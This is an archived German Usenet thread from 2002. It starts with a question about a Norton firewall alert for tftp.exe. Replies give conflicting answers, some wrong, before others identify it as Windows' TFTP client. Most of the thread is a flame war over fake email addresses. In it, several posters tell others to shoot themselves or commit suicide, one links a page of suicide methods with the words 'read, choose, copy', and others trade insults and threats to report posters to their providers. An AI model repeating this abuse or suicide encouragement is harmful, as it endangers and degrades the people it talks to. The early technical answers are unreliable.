Alarmmeldung Norton Internet Security..
Wolfgang Schirmer
ich bekomme immer wenn ich mich im Internet bewege von Norton Internet
Security 2001 eine Alarmmeldung. Kann mir jemand vielleicht sagen, was die
tftp.exe im Ordner system32 für eine Funktion hat? Ich weiss nicht so recht
welche Regel ich dazu konfigurieren soll.
Unter www.w-schirmer.de/alert.gif könnt Ihr Euch ein Screenshot ansehen.
Ich danke auch schön für Eure schnelle Hilfe.
mfG Wolfgang
PS: Sollte ich hier in der falschen NG sein, dann entschuldigt und gebt mir
einen Hinweis, welche die richtige NG ist.
Thomas Budich
Wolfgang Schirmer schrieb:
> Security 2001 eine Alarmmeldung. Kann mir jemand vielleicht sagen, was
> die tftp.exe im Ordner system32 für eine Funktion hat?
Ein kleiner FTP-Server, der Deine lokalen Dateien via TCP/IP zur
Verfügung stellt. Vermutlich jedem.
regel: Allen ( außer MS ;-) ) verbieten?
--
Mit freundlichen Gruessen Dipl.-Ing.(FH) Thomas Budich
E-Mail bitte bei Bedarf von http://www.ISA-Analytik.de holen
Felix von Leitner
> Ein kleiner FTP-Server, der Deine lokalen Dateien via TCP/IP zur
> Verfügung stellt. Vermutlich jedem.
Nicht, daß dein Novell-Gefasel noch Zweifel an deiner vollständigen
Inkompetenz gelassen hätten, aber damit haust du dem Faß echt den Boden
aus.
Mir fällt spontan nicht ein, wie du eine in noch mehr Punkten falsche
Antwort hättest geben können. Warum erschießt du dich nicht einfach?
Du hast ja nicht mal eine replyfähige Email-Adresse, sondern bedienst
dich hier kriminellerweise der Resourcen von Microsoft. Viel tiefer
kann man nicht sinken.
A. Neumayr
Hallo
Lösch das Ding einfach raus, du wirst es garantiert nicht brauchen.
Das Ding ist nur ein einfacher (trivial file transfer protocol) Server
mfg
Andy
Juergen P. Meier
> On Mon, 25 Mar 2002 20:05:25 +0100, "Wolfgang Schirmer"
><tro...@t-online.de> wrote:
>
>>Hallo und guten Abend,
>>
>>ich bekomme immer wenn ich mich im Internet bewege von Norton Internet
>>Security 2001 eine Alarmmeldung. Kann mir jemand vielleicht sagen, was die
>>tftp.exe im Ordner system32 für eine Funktion hat? Ich weiss nicht so recht
>>welche Regel ich dazu konfigurieren soll.
>>
> Lösch das Ding einfach raus, du wirst es garantiert nicht brauchen.
> Das Ding ist nur ein einfacher (trivial file transfer protocol) Server
Falsch!
%WINDIR%\system32\tftp.exe ist Microsoft's von BSD geklaute TFTP *CLIENT*.
Und die wird der OP wohl benoetigen wenn er offensichtlich TFTP benutzt.
Juergen
--
_ _ | Juergen P. Meier
/.._ _ _ /_) /|/| . _ | "This World is about
\_/(// (/(`// / . / |(`/(`/ | to be Destroyed."
=======_/======================== | J...@lrz.fh-muenchen.de
Juergen P. Meier
> Hallo und guten Abend,
>
> ich bekomme immer wenn ich mich im Internet bewege von Norton Internet
> Security 2001 eine Alarmmeldung. Kann mir jemand vielleicht sagen, was die
> tftp.exe im Ordner system32 für eine Funktion hat? Ich weiss nicht so recht
> welche Regel ich dazu konfigurieren soll.
U:\WINNT\system32>tftp
Überträgt Dateien zu und von einem Remotecomputer, der den TFTP-Dienst
ausführt.
TFTP [-i] Host [GET | PUT] Quelle [Ziel]
-i Gibt Binärübertragungsmodus an (auch Oktett
genannt). Im Binärmodus wird die Datei Byte
für Byte übertragen. Verwenden Sie diesen Modus
bei der Übertragung von Binärdateien.
Host Gibt den lokalen Host oder den Remotehost an.
GET Überträgt das Dateiziel auf dem Remotehost auf
auf die Datei Quelle auf dem lokalen Host.
PUT Überträgt die Dateiquelle des lokalen Hosts auf
das Dateiziel des Remotehosts.
Quelle Gibt die zu übertragende Datei an.
Ziel Gibt an, wohin die Datei übertragen werden soll.
Das ist der Client fuer das TFTP Protokoll. Ob du das brauchst kannst
nur du alleine Entscheiden.
Thomas Budich
Felix von Leitner schrieb:
> Thus spake Thomas Budich (nos...@msn.com):
> > Ein kleiner FTP-Server, der Deine lokalen Dateien via TCP/IP zur
tftp.exe
^ deutet i.A. auf einen Dämon (meist Server) hin.
Asche aufs Haupt. ;-(
tftp.exe ist bei Windows.. doch ein TFTP-Klient.
Aber auch gut zu mißbrauchen, vielleicht hat er ja Nimda.
Vermutlich meinst Du ich hätte besser recherchieren können.
Wenn er seine FW dafür schließt ist daß immer gut.
> Nicht, daß dein Novell-Gefasel noch Zweifel an deiner vollständigen
Faseln tust Du.
> Antwort hättest geben können. Warum erschießt du dich nicht einfach?
Nimm erst mal Deine Herztropfen. Offensichtlich hast Du einige Komplexe.
Mit Deinem Gebell wirst Du die Welt nicht verbessern.
Oder mit Deinen Worten: Ein Wunder daß man Dich noch frei herumlaufen
läßt.
> Du hast ja nicht mal eine replyfähige Email-Adresse,
Braucht man das? (Ja, ich kenne diverse usenet-Regeln.)
Du kannst ja dein Killfile zum Zeitvertreib mit SPAM Absenderadressen
laufend füttern oder Deine e-Mail Adresse ständig ändern.
> sondern bedienst
> dich hier kriminellerweise der Resourcen von Microsoft.
Totaler Quatsch, ich meine du liegst im Delierium.
Felix von Leitner
> ^ deutet i.A. auf einen Dämon (meist Server) hin.
Spätestens jetzt wäre ein guter Moment für einen Freitod. Dein Ruf ist
jedenfalls so derartig im Keller, da braucht man schweres Gerät, um
überhaupt so tief graben zu können.
> > Du hast ja nicht mal eine replyfähige Email-Adresse,
> Braucht man das?
Ja.
> (Ja, ich kenne diverse usenet-Regeln.)
Nein.
> Du kannst ja dein Killfile zum Zeitvertreib mit SPAM Absenderadressen
> laufend füttern oder Deine e-Mail Adresse ständig ändern.
ROTFL
> > sondern bedienst dich hier kriminellerweise der Resourcen von
> > Microsoft.
> Totaler Quatsch, ich meine du liegst im Delierium.
An der FH kriegt heute echt jeder Depp einen Abschluß, wie?
Thomas, laß mich dir mal einen Tip geben. Dein Flamen geht vollständig
nach hinten los, wenn du in den Unterstellungen und Schimpfwörtern so
peinliche Tippfehler drin hast.
Michael Raab
at Mon, 25 Mar 2002 22:36:44 +0100 Thomas Budich wrote:
> Felix von Leitner schrieb:
> > Du hast ja nicht mal eine replyfähige Email-Adresse,
>
> Braucht man das? (Ja, ich kenne diverse usenet-Regeln.)
Wozu auch. Ich habe absolut keinen Bock, den Spam auch noch digital zu
entsorgen. Eine Domain habe ich bereits Mailtechnisch vom Netz genommen.
> Du kannst ja dein Killfile zum Zeitvertreib mit SPAM Absenderadressen
> laufend füttern oder Deine e-Mail Adresse ständig ändern.
Unnötiger Zeitaufwand.
Gruß
Michael
--
Homepage http://macbyte.info/ | Registered Linux User #228306
Phone/Fax +49 7000 MACBYTE | http://counter.li.org
GNU GPG-Key ID 22C51B8D0140F88B | ICQ #151172379
+Webdesign #Don't send HTML coded Mails# PHP Development+
Robin S. Socha
> at Mon, 25 Mar 2002 22:36:44 +0100 Thomas Budich wrote:
>> Du kannst ja dein Killfile zum Zeitvertreib mit SPAM Absenderadressen
>> laufend füttern oder Deine e-Mail Adresse ständig ändern.
>
> Unnötiger Zeitaufwand.
http://tmda.sf.net [fup2 de.comm.software.mailserver]
Rainer Weikusat
> > Du hast ja nicht mal eine replyfähige Email-Adresse,
>
> Braucht man das?
Welchen Sinn hat einen dysfunktionale Mailadresse, außer, daß Du eine
Flut von bounces provozierst, 'Dein [imaginäres] Problem' also in
klassischer St.Florians-Manier 'jemand anderem' auflädst?
--
Log off now or risk your files being damaged
Thomas Budich
Rainer Weikusat schrieb:
> Thomas Budich <nos...@msn.com> writes:
> > > Du hast ja nicht mal eine replyfähige Email-Adresse,
> > Braucht man das?
> Welchen Sinn hat einen dysfunktionale Mailadresse, außer, daß Du eine
> Flut von bounces provozierst, 'Dein [imaginäres] Problem' also in
> klassischer St.Florians-Manier 'jemand anderem' auflädst?
Spam ist nunmal ein Problem, nicht ich sondern die SPAMmer provozieren
die bounces. Aber wer mir eine e-Mail senden will kann auch erkennen das
die hier verwendete nicht stimmt.
P.S.: Es ist kein imaginäres Problem.
Rainer Weikusat
> Rainer Weikusat schrieb:
> > Welchen Sinn hat einen dysfunktionale Mailadresse, außer, daß Du eine
> > Flut von bounces provozierst, 'Dein [imaginäres] Problem' also in
> > klassischer St.Florians-Manier 'jemand anderem' auflädst?
>
> Spam ist nunmal ein Problem, nicht ich sondern die SPAMmer provozieren
> die bounces.
Irrtum. Der Spammer sendet von einer Fake-Adresse an eine
Fake-Adresse, dh die Mail wird gebouncet oder landet bei
irgendjemand, dessen msn-Adresse zufällig nospam@ ist.
Mit welchem Recht entscheidest *Du*, das dieser namenlose jemand, sei
es jetzt irgendein ein postmaster@ oder ein Normalnutzer von MSN, sich
gefälligst um die Nebeneffekte von 'Du willst USENET' zu kümmern hat,
für die Du Dir zu schade bist?
> P.S.: Es ist kein imaginäres Problem.
from
[1 second for scanning subjects & senders]
mail
d*
q
Mit vernünftigen Tools geht das alles :->.
Juergen P. Meier
>> Du hast ja nicht mal eine replyfähige Email-Adresse,
>
> Braucht man das? (Ja, ich kenne diverse usenet-Regeln.)
> Du kannst ja dein Killfile zum Zeitvertreib mit SPAM Absenderadressen
> laufend füttern oder Deine e-Mail Adresse ständig ändern.
>
>> sondern bedienst
>> dich hier kriminellerweise der Resourcen von Microsoft.
>
> Totaler Quatsch, ich meine du liegst im Delierium.
Mal sehen was die Betreiber von msn.com dazu meinen...
Ich habe nichts gegen leute, die wegwerf-mailaccounts von GMX,web.de
o.ae. verwenden um vor Usenet-spam verschont zu bleiben. Aber
Address-Faelscher sind Asoziale Subjekte.
Nicht umsonst ist in den Meisten Rechtsraeumen das Verfaelschen von
Dokumenten und Identitaeten als Gesellschaftsschaedigend angesehen.
Juergen P. Meier
Thomas Budich <nos...@msn.com> wrote:
> Spam ist nunmal ein Problem, nicht ich sondern die SPAMmer provozieren
> die bounces. Aber wer mir eine e-Mail senden will kann auch erkennen das
> die hier verwendete nicht stimmt.
>
> P.S.: Es ist kein imaginäres Problem.
Du ASOZIALES ARSCHLOCH laedst deine Probleme also viel lieber anderen,
UNBETEILIGTEN auf?
Unter welchem Stein bist denn du hervorgekrochen?
Wenn deine Motivation wirklich nur zum Selbstzweck und nicht zum
Absichtlichen Schaden von msn.com dient, warum hast du Leuchte nicht
eine RFC-konforme ungueltige mailaddresse der form do...@try.invalid
verwendet? dann sieht *JEDER* sofort das du keine antworten willst.
Das was du da machst ist nicht nur Daemlich, sondern faellt in diversen
Laendern schon unter Strafrecht. (ettliche Staaten der USA,
Deutschland, Einige Europaeische Staaten, Australien, Kanada...)
Lutz Donnerhacke
>[Posting - da Herr Budich ja keine reply-faehige mailaddresse hat.]
Er hat doch eine: <in...@dmr-automation.de>
Felix von Leitner
> Wozu auch. Ich habe absolut keinen Bock, den Spam auch noch digital zu
> entsorgen. Eine Domain habe ich bereits Mailtechnisch vom Netz genommen.
ROTFL, als wenn jemand anderes als ein Spammer mit einem Webdesigner
Mails austauschen wollen würde! Zieh dich am besten gleich ganz aus dem
Netz zurück, die wollen dir alle nur Böses...!
Felix von Leitner
Nein, leider bilden wir uns deine Anwesenheit nicht ein.
Findest du alleine raus oder sollen wir ein Taxi rufen?
Michael Raab
at Tue, 26 Mar 2002 10:38:52 GMT Felix von Leitner wrote:
> Thus spake Michael Raab (now...@nowhere.net):
> > Wozu auch. Ich habe absolut keinen Bock, den Spam auch noch digital
> > zu entsorgen. Eine Domain habe ich bereits Mailtechnisch vom Netz
> > genommen.
>
> ROTFL, als wenn jemand anderes als ein Spammer mit einem Webdesigner
> Mails austauschen wollen würde!
Da gibt es tatsächlich einige.
> Zieh dich am besten gleich ganz aus dem Netz zurück, die wollen dir
> alle nur Böses...!
Ich zieh mich nicht aus dem Netz zurück, nur weil eine Katze mir das
sagt - meine Katze heisst zufälligerweise auch Felix. Ich warte lieber,
bis Du verschwunden bist. Denn Du bist flüssiger wie flüssig, nämlich
überflüssig.
Robin S. Socha
Herrn Budichs Logik folgend habe ich mich entschlossen, die auch zu
benutzen. Danke für den Tip, Herr Budich!
Wolfgang Schirmer
danke erst einmal für die sachdienlichen Hinweise.
Hatte von anderer Quelle auch den Hinweis auf den Nimda bekommen, aber nach
einem Viruscheck mit mehreren Möglichkeiten, hat sich das nicht bestätigt.
Mittlerweile habe ich in Norton Internet Security die Konfiguration "nicht
zulassen" eingestellt und es scheint erst einmal Ruhe zu sein.
Der Hinweis auf löschen geht nicht so richtig auf, denn ich bin da nicht so
sicher ob es gut ist, denn ich habe nebenbei den Personal Web Manager laufen
(oder IIS ? :-), den ich brauche um meine erstellten *.asp Files auch
ausführen zu können.
Also nochmal danke.
Trotzdem noch ein Hinweis in eigener Sache. Ich finde es schade, dass mein
Posting dazu geführt hat, dass manche Usenetnutzer untereinander sich um es
gelinde auszudrücken gegenseitig die Seuche an den Hals wünschen. Ich denke
es ist nicht gerade förderlich für diejenigen User die Antworten auf sicher
wichtige Fragen suchen. Jeden Thread muss man durchsuchen, weil man denkt es
könnte Hilfe für sein Problem dabei sein. Dieser Thread ist aber zu 80% mit
Anfeindungen durchsetzt, die eigentlich nicht hierher gehören. (zumindest
nicht zu meiner Frage) Ich hoffe ich bin hier niemandem zu nahe getreten und
würde mich freuen in Zukunft nettere Antworten bzw. Diskussionen zu lesen.
mfG Wolfgang
"Wolfgang Schirmer" <tro...@t-online.de> schrieb im Newsbeitrag
news:a7nseb$mppc7$1...@ID-106320.news.dfncis.de...
Lutz Donnerhacke
>Der Hinweis auf löschen geht nicht so richtig auf, denn ich bin da nicht so
>sicher ob es gut ist, denn ich habe nebenbei den Personal Web Manager laufen
>(oder IIS ? :-), den ich brauche um meine erstellten *.asp Files auch
>ausführen zu können.
Wenn Du bereits Fernsteuersoftware wie einen Webserver auf der Kiste laufen
läßt, was versuchst Du dann mit einer PF zu verhindern? Kurz: Konzept?
>Trotzdem noch ein Hinweis in eigener Sache. Ich finde es schade, dass mein
>Posting dazu geführt hat, dass manche Usenetnutzer untereinander sich um es
>gelinde auszudrücken gegenseitig die Seuche an den Hals wünschen.
Dein Tofu ist eine Seuche. Warum stellst Du es nicht einfach ab?
>man denkt es könnte Hilfe für sein Problem dabei sein. Dieser Thread ist
>aber zu 80% mit Anfeindungen durchsetzt, die eigentlich nicht hierher
>gehören.
Sie sind im Rahmen der üblichen Fragestellungen verständlich und meistens
berechtigt.
>Ich hoffe ich bin hier niemandem zu nahe getreten und würde mich freuen in
>Zukunft nettere Antworten bzw. Diskussionen zu lesen.
"Korrekt, Freundlich, Kostenfrei", wähle genau zwei.
Lutz Donnerhacke
>Beste Methode: Mach das, was die "besonders wichtigen" Leute aergert, damit
>Du in den ganzen Killfiles verschwindest. Ab diesem Zeitpunkt hast Du Ruhe.
>Die Gefahr ist zwar, dass Du *ausnahmsweise* mal einen erwischt, der
>freundlich UND kompetent UND NICHT so extrovertiert ist, dass er dauernd
>anderen Menschen den Tod wünscht. Aber dafür hast Du Ruhe...
Man überlege genau, ob man dann noch posten soll.
Helmut Schneider
> Trotzdem noch ein Hinweis in eigener Sache. Ich finde es schade, dass mein
> Posting dazu geführt hat, dass manche Usenetnutzer untereinander sich um
es
> gelinde auszudrücken gegenseitig die Seuche an den Hals wünschen. Ich
denke
Spar Dir den Hinweis, hier gibt es nunmal zu viele Trolle. Wenn Dir hier
jemand sagt, "Geh sterben" oder "Asoziales Arschloch", dann spiegelt das eh
nur Hilflosigkeit wieder (weise, weise, i woasscho).
Beste Methode: Mach das, was die "besonders wichtigen" Leute aergert, damit
Du in den ganzen Killfiles verschwindest. Ab diesem Zeitpunkt hast Du Ruhe.
Die Gefahr ist zwar, dass Du *ausnahmsweise* mal einen erwischt, der
freundlich UND kompetent UND NICHT so extrovertiert ist, dass er dauernd
anderen Menschen den Tod wünscht. Aber dafür hast Du Ruhe...
Gruß, Killfile-Helmut (in freudiger Erwartung auf alle Trolle, mit defektem
OjE und ohne richtigem Sigtrenner, sogar die Tastatur prellt!!!! TOFU spar
ich mir jetzt...)
ÄÖÜäöüßß (damit es auch richtig was zum Mosern gibt und die
de.comp.security.firewall-soap möglichst unterhaltsam bleibt...ROFLROFLROFL)
--
Bitte nur in die Newsgroup posten...
--
Felix von Leitner
> > Mails austauschen wollen würde!
> Da gibt es tatsächlich einige.
Oh, klar, ich vergaß die Porno-Anbieter und Inkasso-Unternehmen.
> Denn Du bist flüssiger wie flüssig, nämlich überflüssig.
Du kriegst wirklich gar nichts hin, wie? Was für ein Versager.
Leider eignest du dich eher für das absurde Theater als für das Usenet,
einfach kein Unterhaltungswert. Daher: *plonk*
Felix von Leitner
Ich sehe keinen Grund, die ganzen DAUs nicht in Sippenhaft zu nehmen und
einfach überhaupt keinem mehr zu helfen. Von mir aus können die alle an
ihren implodierenden Hirnen sterben.
Helmut Schneider
> einfach überhaupt keinem mehr zu helfen. Von mir aus können die alle an
> ihren implodierenden Hirnen sterben.
Netten Gruss, Helmut <herzhaft lachend> ;-))
Jonas M Luster
> Ich zieh mich nicht aus dem Netz zurück, nur weil eine Katze mir das
> sagt - meine Katze heisst zufälligerweise auch Felix. Ich warte lieber,
> bis Du verschwunden bist. Denn Du bist flüssiger wie flüssig, nämlich
> überflüssig.
http://ash.xanthia.com/methods.html - lesen, aussuchen, nachmachen.
Jetzt. Und wenn Du weiterhin gegen 1036 verstoesst, dann werde ich
anfangen Deinen Netzschaden zu entsorgen.
Michael Raab
at Tue, 26 Mar 2002 13:50:31 GMT Felix von Leitner wrote:
> Thus spake Michael Raab (now...@nowhere.net):
> > > ROTFL, als wenn jemand anderes als ein Spammer mit einem
> > > Webdesigner Mails austauschen wollen würde!
> > Da gibt es tatsächlich einige.
>
> Oh, klar, ich vergaß die Porno-Anbieter und Inkasso-Unternehmen.
Ahh, solche Mails liegen also bei Dir im Postfach.
> > Denn Du bist flüssiger wie flüssig, nämlich überflüssig.
>
> Du kriegst wirklich gar nichts hin, wie?
Woher willst Du das wissen ?
> Was für ein Versager.
Führst Du selbstgespräche ?
> Leider eignest du dich eher für das absurde Theater als für das
> Usenet, einfach kein Unterhaltungswert. Daher: *plonk*
Deine Beiträge sind ja auch eher beleidigend als unterhaltsam. Und ich
finde es echt nett, da Du Dich selber Plonkst.
Michael Raab
at 26 Mar 2002 17:26:14 GMT Jonas M Luster wrote:
> http://ash.xanthia.com/methods.html - lesen, aussuchen, nachmachen.
Mach es lieber selber.
> Jetzt. Und wenn Du weiterhin gegen 1036 verstoesst, dann werde ich
> anfangen Deinen Netzschaden zu entsorgen.
Mach doch.
Urs [Ayahuasca] Traenkner
> Quoting: Michael Raab (now...@nowhere.net):
> > Ich zieh mich nicht aus dem Netz zurück, nur weil eine Katze mir das
> > sagt - meine Katze heisst zufälligerweise auch Felix. Ich warte lieber,
> > bis Du verschwunden bist. Denn Du bist flüssiger wie flüssig, nämlich
> > überflüssig.
> http://ash.xanthia.com/methods.html - lesen, aussuchen, nachmachen.
Punkt 19 ist einfach nur godlike :)
> Jetzt. Und wenn Du weiterhin gegen 1036 verstoesst, dann werde ich
> anfangen Deinen Netzschaden zu entsorgen.
1036?
Gruss Urs...
--
Ehrlich, Adj. - Im Geschaeftsleben schwerbehindert.
Ambrose Bierce, "Des Teufels Woerterbuch"
Juergen P. Meier
> Jonas M Luster wrote:
>
>> Quoting: Michael Raab (now...@nowhere.net):
>> > Ich zieh mich nicht aus dem Netz zurück, nur weil eine Katze mir das
>> > sagt - meine Katze heisst zufälligerweise auch Felix. Ich warte lieber,
>> > bis Du verschwunden bist. Denn Du bist flüssiger wie flüssig, nämlich
>> > überflüssig.
>
>> http://ash.xanthia.com/methods.html - lesen, aussuchen, nachmachen.
>
> Punkt 19 ist einfach nur godlike :)
>
>> Jetzt. Und wenn Du weiterhin gegen 1036 verstoesst, dann werde ich
>> anfangen Deinen Netzschaden zu entsorgen.
>
> 1036?
RFC-
Ein RFC-Cancel ist bei Michael's Postings durchaus vertretbar. Zumal
er in Voller Absicht den Betreibern von "nowhere.net" Schaden zufuegt.
Ein asoziales Arschloch halt. Gemaess strenger Definition.
Michael Raab
at 26 Mar 2002 18:26:12 GMT Juergen P. Meier wrote:
> Urs [Ayahuasca] Traenkner <urs.tr...@rz.tu-ilmenau.de> wrote:
> > 1036?
>
> RFC-
>
> Ein RFC-Cancel ist bei Michael's Postings durchaus vertretbar. Zumal
> er in Voller Absicht den Betreibern von "nowhere.net" Schaden zufuegt.
Ok, jetzt verwende ich halt meine Domain, die aber auch gebounced wird.
> Ein asoziales Arschloch halt.
Danke, gleichfalls.
Juergen P. Meier
> at 26 Mar 2002 18:26:12 GMT Juergen P. Meier wrote:
>> Urs [Ayahuasca] Traenkner <urs.tr...@rz.tu-ilmenau.de> wrote:
>> > 1036?
>>
>> RFC-
>>
>> Ein RFC-Cancel ist bei Michael's Postings durchaus vertretbar. Zumal
>> er in Voller Absicht den Betreibern von "nowhere.net" Schaden zufuegt.
>
> Ok, jetzt verwende ich halt meine Domain, die aber auch gebounced wird.
Na also - geht doch.
War das jetzt wirklich so schwer?
Felix Schlesinger
> Ich habe nichts gegen leute, die wegwerf-mailaccounts von GMX,web.de
> o.ae. verwenden um vor Usenet-spam verschont zu bleiben. Aber
> Address-Faelscher sind Asoziale Subjekte.
Wo wir schon dabei sind, kann der Besitzter von msn.com ihn jetzt
eigentlich verklagen? Immerhin hat er auch Msg-ids @msn.com erzeugt,
damit also potenziell deren Newszugang gestört. Wenn ja währe das der
erste Prozess in dem ich MS untersütze ;-)
Ciao
Felix
Felix Schlesinger
>> Du kriegst wirklich gar nichts hin, wie?
>
> Woher willst Du das wissen ?
Das sieht man. Selbst wenn man noch keinen Satz deines Beitrags gelesen
hat nach einem Blick in den Header. Dir ist klar das du den News-zugang
von
Nowhere Networks (NOWHERE3-DOM)
469 Maria Court
Santa Clara, CA 95050
sabotierst, oder? Und das trozdem jeder Spammer deine EMail-adresse
kriegen kann?
Ciao
Felix
Felix Schlesinger
> Ich sehe keinen Grund, die ganzen DAUs nicht in Sippenhaft zu nehmen und
> einfach überhaupt keinem mehr zu helfen. Von mir aus können die alle an
> ihren implodierenden Hirnen sterben.
Helfen? Warum höhre ich eigentlich ständig helfen? Das ist doch kein
Help-desk hier und erst recht keine kostenlose
Fortbildungszentrale. Selbst wenn man alles richtig[tm] macht hat man
keinen Anspruch auf Hilfe.
Allerdings hat man dann eine halbwegs vernünftige Chance das jemand sich
die 5 min nimmt um zu antworten (wenn es auch noch halbwegs interessant
ist). Alles was noch darüber hinnaus geht ist reines Glück nicht mehr.
Ciao
Felix
Michael Raab
at Tue, 26 Mar 2002 20:22:34 +0100 Felix Schlesinger wrote:
> begin Michael Raab schrieb
> > > Du kriegst wirklich gar nichts hin, wie?
> >
> > Woher willst Du das wissen ?
>
> Das sieht man. Selbst wenn man noch keinen Satz deines Beitrags
> gelesen hat nach einem Blick in den Header. Dir ist klar das du den
> News-zugang von
> Nowhere Networks
> sabotierst, oder?
Ich sabotiere hier nicht. Ich habe einen legalen Zugang zum Internet,
den ich auch monatlich bezahle. Ich habe nur diese emailadresse
angegeben, um mich vor Spam zu schützen. Jetzt habe ich nun meine eigene
Domain eingesetzt. Aber Mails dort hinzuschicken bringt rein gar nichts.
Die werden gebounced.
> Und das trozdem jeder Spammer deine EMail-adresse kriegen kann?
Das mag wohl sein. Dafür sind bei mir jetzt RBL-Listen und procmail im
Einsatz. Denn ich habe keinen Bock morgens erstmal den Spam zu entsorgen
bevor ich anfangen kann zu arbeiten. Denn ich hatte den Fehler gemacht
eine funktionierende eMail-Adresse anzugeben. Es hat dann keine 2 Tage
gedauert und ich hatte ca. 30 Spammails im Postfach.
Thomas Budich
Felix von Leitner schrieb:
> Nein, leider bilden wir uns deine Anwesenheit nicht ein.
Dafür bildest Du und Konsorten Dir aber zu viel ein.
In der Annahme, daß Du Dir mit Unix etc. gut auskennst, war es das wohl
auch im wesentlichen.
> Findest du alleine raus oder sollen wir ein Taxi rufen?
Geht doch in Deine Sandbox spielen. da kannst du dann mit den Hunden
bellen. :-)
--
Mit freundlichen Gruessen Dipl.-Ing.(FH) Thomas Budich
E-Mail bitte bei Bedarf von http://www.ISA-Analytik.de holen
Thomas Budich
"Robin S. Socha" schrieb:
> * Lutz Donnerhacke <lu...@iks-jena.de> writes:
> > * Juergen P. Meier wrote:
> >>[Posting - da Herr Budich ja keine reply-faehige mailaddresse hat.]
> > Er hat doch eine: <in...@dmr-automation.de>
> Herrn Budichs Logik folgend habe ich mich entschlossen, die auch zu
> benutzen.
Du Spinnst! Uns lass das bleiben!
--
Mit freundlichen Gruessen Dipl.-Ing.(FH) Thomas Budich
E-Mail bitte bei Bedarf von http://www.ISA-Analytik.de holen
(oder auch nicht)
Michael Raab
at 26 Mar 2002 19:27:34 GMT Juergen P. Meier wrote:
> Michael Raab <now...@macbyte.info> wrote:
> > at 26 Mar 2002 18:26:12 GMT Juergen P. Meier wrote:
> >> Urs [Ayahuasca] Traenkner <urs.tr...@rz.tu-ilmenau.de> wrote:
> >> > 1036?
> >>
> >> RFC-
> >>
> >> Ein RFC-Cancel ist bei Michael's Postings durchaus vertretbar.
> >> Zumal er in Voller Absicht den Betreibern von "nowhere.net" Schaden
> >> zufuegt.
> > Ok, jetzt verwende ich halt meine Domain, die aber auch gebounced
> > wird.
>
> Na also - geht doch.
>
> War das jetzt wirklich so schwer?
Nö, ich arbeite doch mit Linux. ;)
Felix Schlesinger
>> Das sieht man. Selbst wenn man noch keinen Satz deines Beitrags
>> gelesen hat nach einem Blick in den Header. Dir ist klar das du den
>> News-zugang von Nowhere Networks sabotierst, oder?
>
> Ich sabotiere hier nicht. Ich habe einen legalen Zugang zum Internet,
> den ich auch monatlich bezahle. Ich habe nur diese emailadresse
Du hast bis vor kurzem. Jetzt sabotierst du dich immerhin nurnoch
selber. Das nennt man glaube ich Evolution in Arbeit. (btw: Wann sind
die Darwin-awards wieder dran?)
> angegeben, um mich vor Spam zu schützen. Jetzt habe ich nun meine eigene
> Domain eingesetzt. Aber Mails dort hinzuschicken bringt rein gar nichts.
> Die werden gebounced.
Ich werde dir mich Sicherheit nicht schreiben. Wenn ich irgendwem
schreibe dann ab...@t-online.de wenn das so weitergeht. Und vieleicht
auch noch nowhere.net
Ciao
Felix
Felix Schlesinger
> "Robin S. Socha" schrieb:
>> * Lutz Donnerhacke <lu...@iks-jena.de> writes:
>> > * Juergen P. Meier wrote:
>> >>[Posting - da Herr Budich ja keine reply-faehige mailaddresse hat.]
>> > Er hat doch eine: <in...@dmr-automation.de>
>
>> Herrn Budichs Logik folgend habe ich mich entschlossen, die auch zu
>> benutzen.
>
> Du Spinnst! Uns lass das bleiben!
Sagen wir so, wenn du noch länger ungültige Msd-ids erzeugts und damit
anderen Leuten den Usnet-Zugang störst benutzte ich
ab...@t-online.de. Dann brauchst du wohl neben einem neuen Job auch noch
einen neuen Provider.
Ciao
Felix
PS: *Was* ein Scheiss-Tag.
Boris Nienke
Wolfang hatte eine nette Frage gestellt - daraus wurde ein echte
'Anpisserei' die zum Himmel schreit!
Dann äußert er das sachlich und nett:
>>Trotzdem noch ein Hinweis in eigener Sache. Ich finde es schade, dass mein
>>Posting dazu geführt hat, dass manche Usenetnutzer untereinander sich um es
>>gelinde auszudrücken gegenseitig die Seuche an den Hals wünschen.
und dann sowas:
>Dein Tofu ist eine Seuche. Warum stellst Du es nicht einfach ab?
[...]
>Sie sind im Rahmen der üblichen Fragestellungen verständlich und meistens
>berechtigt.
>
[...]
>"Korrekt, Freundlich, Kostenfrei", wähle genau zwei.
Bist Du noch ganz wach? Hast Du/habt Ihr irgendwie was falsches
geraucht? Seid Ihr 'besser' als alle anderen? WOLLT Ihr nicht helfen?
Warum seid Ihr überhaupt hier? Diese Frage stelle ich mir wirklich -
80% offtopic rumgetobe (ich hatte ja selbiges erleben müssen) und kaum
was sinnvolles dabei - echt scheiße!
Wer mich jetzt plonken will -immer zu - ich bin sowieso weg!
Boris
P.S.: Wolfang: mein Beileid!
--
home: http://www.nSonic.de
mail: bni...@nsonic.de
"kaum macht man's richtig, schon funktioniert's..."
Michael Raab
at Tue, 26 Mar 2002 21:09:15 +0100 Felix Schlesinger wrote:
> Ich werde dir mich Sicherheit nicht schreiben. Wenn ich irgendwem
> schreibe dann ab...@t-online.de wenn das so weitergeht. Und vieleicht
> auch noch nowhere.net
Wieso? Es geht doch nicht mehr so weiter. Ich hätte meine T-Online
Adresse auch angeben können. Denn der account liegt brach. Also was
regst Du dich noch so auf ????
Felix Schlesinger
>> Ich werde dir mich Sicherheit nicht schreiben. Wenn ich irgendwem
>> schreibe dann ab...@t-online.de wenn das so weitergeht. Und vieleicht
>> auch noch nowhere.net
>
> Wieso? Es geht doch nicht mehr so weiter. Ich hätte meine T-Online
Da soll mal einer sagen meckern würde keinen Erfolg bringen.
> Adresse auch angeben können. Denn der account liegt brach. Also was
> regst Du dich noch so auf ????
Du. Aber damit ist es jetzt ja zum Glück vorbei. Ein für alle Mal. (Der
erste unbefristete *plonk* in einer ganzen Weile.)
Auf nimmer Wiedersehen
Felix
Franz-Josef Vorspohl
Michael Raab wrote
> Denn ich hatte den Fehler gemacht
> eine funktionierende eMail-Adresse anzugeben. Es hat dann keine 2 Tage
> gedauert und ich hatte ca. 30 Spammails im Postfach.
Benutze einen free mailer wie gmx oder hotmail, die haben IMHO recht
gute Filter gegen spam.
Eine nicht funktionierende e-mail Adresse zu benutzen ist fast wie spam
und sehr unhoeflich.
Franz-Josef
Sebastian Wiesinger
> und dann sowas:
>
>>Dein Tofu ist eine Seuche. Warum stellst Du es nicht einfach ab?
> [...]
>>Sie sind im Rahmen der üblichen Fragestellungen verständlich und meistens
>>berechtigt.
> [...]
>>"Korrekt, Freundlich, Kostenfrei", wähle genau zwei.
>
> Bist Du noch ganz wach? Hast Du/habt Ihr irgendwie was falsches
